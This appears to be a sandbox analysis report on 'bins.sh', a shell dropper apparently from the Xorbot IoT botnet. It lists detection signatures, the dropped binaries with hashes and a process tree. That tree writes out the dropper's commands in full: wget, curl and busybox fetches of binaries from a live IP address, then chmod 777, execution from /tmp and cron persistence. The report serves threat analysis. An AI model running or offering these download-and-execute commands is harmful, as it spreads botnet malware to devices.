Analysis

  • max time kernel
    150s
  • max time network
    141s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    05/12/2024, 08:37

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241205-kh522aspak
  • SHA256 d67a7469745e36651000846e5d70e0ac0a7859f1b85ceb651233cfb6ad469f59
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detects Xorbot 8 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 9 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 9 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 23 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:714
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:721
        • /usr/bin/wget
          wget http://216.126.231.240/bins/XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks
          2⤵
          • Writes file to tmp directory
          PID:723
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:738
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks
          2⤵
          • Writes file to tmp directory
          PID:744
        • /bin/chmod
          chmod 777 XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks
          2⤵
          • File and Directory Permissions Modification
          PID:746
        • /tmp/XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks
          ./XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks
          2⤵
          • Executes dropped EXE
          PID:747
        • /bin/rm
          rm XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks
          2⤵
            PID:749
          • /usr/bin/wget
            wget http://216.126.231.240/bins/bRUzV8NXzg1SRNL96OXTGXUp4L6Mv7T0H7
            2⤵
            • Writes file to tmp directory
            PID:750
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/bRUzV8NXzg1SRNL96OXTGXUp4L6Mv7T0H7
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:751
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/bRUzV8NXzg1SRNL96OXTGXUp4L6Mv7T0H7
            2⤵
            • Writes file to tmp directory
            PID:752
          • /bin/chmod
            chmod 777 bRUzV8NXzg1SRNL96OXTGXUp4L6Mv7T0H7
            2⤵
            • File and Directory Permissions Modification
            PID:753
          • /tmp/bRUzV8NXzg1SRNL96OXTGXUp4L6Mv7T0H7
            ./bRUzV8NXzg1SRNL96OXTGXUp4L6Mv7T0H7
            2⤵
            • Executes dropped EXE
            PID:754
          • /bin/rm
            rm bRUzV8NXzg1SRNL96OXTGXUp4L6Mv7T0H7
            2⤵
              PID:756
            • /usr/bin/wget
              wget http://216.126.231.240/bins/X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1
              2⤵
              • Writes file to tmp directory
              PID:757
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1
              2⤵
              • Writes file to tmp directory
              PID:758
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1
              2⤵
              • Writes file to tmp directory
              PID:763
            • /bin/chmod
              chmod 777 X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1
              2⤵
              • File and Directory Permissions Modification
              PID:767
            • /tmp/X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1
              ./X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1
              2⤵
              • Executes dropped EXE
              PID:768
            • /bin/rm
              rm X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1
              2⤵
                PID:772
              • /usr/bin/wget
                wget http://216.126.231.240/bins/6bn3X1f9SGnexpTXL98EVFNMsiGXNAdkUI
                2⤵
                • Writes file to tmp directory
                PID:773
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/6bn3X1f9SGnexpTXL98EVFNMsiGXNAdkUI
                2⤵
                • Writes file to tmp directory
                PID:782
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/6bn3X1f9SGnexpTXL98EVFNMsiGXNAdkUI
                2⤵
                • Writes file to tmp directory
                PID:792
              • /bin/chmod
                chmod 777 6bn3X1f9SGnexpTXL98EVFNMsiGXNAdkUI
                2⤵
                • File and Directory Permissions Modification
                PID:796
              • /tmp/6bn3X1f9SGnexpTXL98EVFNMsiGXNAdkUI
                ./6bn3X1f9SGnexpTXL98EVFNMsiGXNAdkUI
                2⤵
                • Executes dropped EXE
                PID:797
              • /bin/rm
                rm 6bn3X1f9SGnexpTXL98EVFNMsiGXNAdkUI
                2⤵
                  PID:801
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/gLeKfykk7rMd8NR2J8QlKYzGREWhOyZaWx
                  2⤵
                  • Writes file to tmp directory
                  PID:802
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/gLeKfykk7rMd8NR2J8QlKYzGREWhOyZaWx
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:815
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/gLeKfykk7rMd8NR2J8QlKYzGREWhOyZaWx
                  2⤵
                  • Writes file to tmp directory
                  PID:821
                • /bin/chmod
                  chmod 777 gLeKfykk7rMd8NR2J8QlKYzGREWhOyZaWx
                  2⤵
                  • File and Directory Permissions Modification
                  PID:822
                • /tmp/gLeKfykk7rMd8NR2J8QlKYzGREWhOyZaWx
                  ./gLeKfykk7rMd8NR2J8QlKYzGREWhOyZaWx
                  2⤵
                  • Executes dropped EXE
                  PID:823
                • /bin/rm
                  rm gLeKfykk7rMd8NR2J8QlKYzGREWhOyZaWx
                  2⤵
                    PID:825
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/kFla1R42QXvHQ7nhFgutsoPYoFCf1SO6jS
                    2⤵
                    • Writes file to tmp directory
                    PID:826
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/kFla1R42QXvHQ7nhFgutsoPYoFCf1SO6jS
                    2⤵
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:827
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/kFla1R42QXvHQ7nhFgutsoPYoFCf1SO6jS
                    2⤵
                    • Writes file to tmp directory
                    PID:828
                  • /bin/chmod
                    chmod 777 kFla1R42QXvHQ7nhFgutsoPYoFCf1SO6jS
                    2⤵
                    • File and Directory Permissions Modification
                    PID:829
                  • /tmp/kFla1R42QXvHQ7nhFgutsoPYoFCf1SO6jS
                    ./kFla1R42QXvHQ7nhFgutsoPYoFCf1SO6jS
                    2⤵
                    • Executes dropped EXE
                    PID:830
                  • /bin/rm
                    rm kFla1R42QXvHQ7nhFgutsoPYoFCf1SO6jS
                    2⤵
                      PID:832
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/x2TQ8Pz1Y7c47wWn3U0Qud6s4sxokloAnE
                      2⤵
                      • Writes file to tmp directory
                      PID:833
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/x2TQ8Pz1Y7c47wWn3U0Qud6s4sxokloAnE
                      2⤵
                      • Writes file to tmp directory
                      PID:834
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/x2TQ8Pz1Y7c47wWn3U0Qud6s4sxokloAnE
                      2⤵
                      • Writes file to tmp directory
                      PID:844
                    • /bin/chmod
                      chmod 777 x2TQ8Pz1Y7c47wWn3U0Qud6s4sxokloAnE
                      2⤵
                      • File and Directory Permissions Modification
                      PID:848
                    • /tmp/x2TQ8Pz1Y7c47wWn3U0Qud6s4sxokloAnE
                      ./x2TQ8Pz1Y7c47wWn3U0Qud6s4sxokloAnE
                      2⤵
                      • Executes dropped EXE
                      • Renames itself
                      • Reads runtime system information
                      PID:849
                      • /bin/sh
                        sh -c "crontab -l"
                        3⤵
                          PID:851
                          • /usr/bin/crontab
                            crontab -l
                            4⤵
                            • Reads runtime system information
                            PID:853
                        • /bin/sh
                          sh -c "crontab -"
                          3⤵
                            PID:855
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              • Reads runtime system information
                              PID:856
                        • /bin/rm
                          rm x2TQ8Pz1Y7c47wWn3U0Qud6s4sxokloAnE
                          2⤵
                            PID:859
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/Az8Andf3eyGmg8V2q9jJyslmnhRtrdYlMc
                            2⤵
                              PID:863
                            • /usr/bin/curl
                              curl -O http://216.126.231.240/bins/Az8Andf3eyGmg8V2q9jJyslmnhRtrdYlMc
                              2⤵
                                PID:865
                              • /bin/busybox
                                /bin/busybox wget http://216.126.231.240/bins/Az8Andf3eyGmg8V2q9jJyslmnhRtrdYlMc
                                2⤵
                                • Writes file to tmp directory
                                PID:867
                              • /bin/chmod
                                chmod 777 Az8Andf3eyGmg8V2q9jJyslmnhRtrdYlMc
                                2⤵
                                • File and Directory Permissions Modification
                                PID:874
                              • /tmp/Az8Andf3eyGmg8V2q9jJyslmnhRtrdYlMc
                                ./Az8Andf3eyGmg8V2q9jJyslmnhRtrdYlMc
                                2⤵
                                • Executes dropped EXE
                                PID:875
                              • /bin/rm
                                rm Az8Andf3eyGmg8V2q9jJyslmnhRtrdYlMc
                                2⤵
                                  PID:878
                                • /usr/bin/wget
                                  wget http://216.126.231.240/bins/oLUiLczkaaiUzD6y5nWI8AQnO8eVbf5tYg
                                  2⤵
                                    PID:879
                                  • /usr/bin/curl
                                    curl -O http://216.126.231.240/bins/oLUiLczkaaiUzD6y5nWI8AQnO8eVbf5tYg
                                    2⤵
                                      PID:881
                                    • /bin/busybox
                                      /bin/busybox wget http://216.126.231.240/bins/oLUiLczkaaiUzD6y5nWI8AQnO8eVbf5tYg
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:883
                                    • /bin/chmod
                                      chmod 777 oLUiLczkaaiUzD6y5nWI8AQnO8eVbf5tYg
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:887
                                    • /tmp/oLUiLczkaaiUzD6y5nWI8AQnO8eVbf5tYg
                                      ./oLUiLczkaaiUzD6y5nWI8AQnO8eVbf5tYg
                                      2⤵
                                      • Executes dropped EXE
                                      PID:888
                                    • /bin/rm
                                      rm oLUiLczkaaiUzD6y5nWI8AQnO8eVbf5tYg
                                      2⤵
                                        PID:890
                                      • /usr/bin/wget
                                        wget http://216.126.231.240/bins/OQ1hJTE1P1ruZqEkOpQQKvg5sfthT2DyZI
                                        2⤵
                                          PID:891
                                        • /usr/bin/curl
                                          curl -O http://216.126.231.240/bins/OQ1hJTE1P1ruZqEkOpQQKvg5sfthT2DyZI
                                          2⤵
                                            PID:892

                                        Network

                                              MITRE ATT&CK Enterprise v15

                                              Replay Monitor

                                              Loading Replay Monitor...

                                              Downloads

                                              6bn3X1f9SGnexpTXL98EVFNMsiGXNAdkUI

                                              • Path /tmp/6bn3X1f9SGnexpTXL98EVFNMsiGXNAdkUI
                                              • Size 98KB
                                              • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                              • MD5 SHA1 SHA512 SSDEEP

                                              Az8Andf3eyGmg8V2q9jJyslmnhRtrdYlMc

                                              • Path /tmp/Az8Andf3eyGmg8V2q9jJyslmnhRtrdYlMc
                                              • Size 111KB
                                              • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                              • MD5 SHA1 SHA512 SSDEEP

                                              X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1

                                              • Path /tmp/X0NTvP64mznAO13L0iOLW5T2EiQuIZXTf1
                                              • Size 119KB
                                              • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                              • MD5 SHA1 SHA512 SSDEEP

                                              XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks

                                              • Path /tmp/XS6RMEATOKlQN3k6lkJaZBRgOVVsgVa3ks
                                              • Size 112KB
                                              • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                              • MD5 SHA1 SHA512 SSDEEP

                                              bRUzV8NXzg1SRNL96OXTGXUp4L6Mv7T0H7

                                              • Path /tmp/bRUzV8NXzg1SRNL96OXTGXUp4L6Mv7T0H7
                                              • Size 99KB
                                              • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                              • MD5 SHA1 SHA512 SSDEEP

                                              gLeKfykk7rMd8NR2J8QlKYzGREWhOyZaWx

                                              • Path /tmp/gLeKfykk7rMd8NR2J8QlKYzGREWhOyZaWx
                                              • Size 141KB
                                              • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                                              • MD5 SHA1 SHA512 SSDEEP

                                              kFla1R42QXvHQ7nhFgutsoPYoFCf1SO6jS

                                              • Path /tmp/kFla1R42QXvHQ7nhFgutsoPYoFCf1SO6jS
                                              • Size 127KB
                                              • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                                              • MD5 SHA1 SHA512 SSDEEP

                                              oLUiLczkaaiUzD6y5nWI8AQnO8eVbf5tYg

                                              • Path /tmp/oLUiLczkaaiUzD6y5nWI8AQnO8eVbf5tYg
                                              • Size 122KB
                                              • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                                              • MD5 SHA1 SHA512 SSDEEP

                                              x2TQ8Pz1Y7c47wWn3U0Qud6s4sxokloAnE

                                              • Path /tmp/x2TQ8Pz1Y7c47wWn3U0Qud6s4sxokloAnE
                                              • Size 151KB
                                              • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                              • MD5 SHA1 SHA512 SSDEEP

                                              tmp.kEtn69

                                              • Path /var/spool/cron/crontabs/tmp.kEtn69
                                              • Size 210B
                                              • SHA256 1e96ebe3476ffb08981b9a2e4b1cd1839688f44591c8effec4d73a174e3ab8a0
                                              • MD5 SHA1 SHA512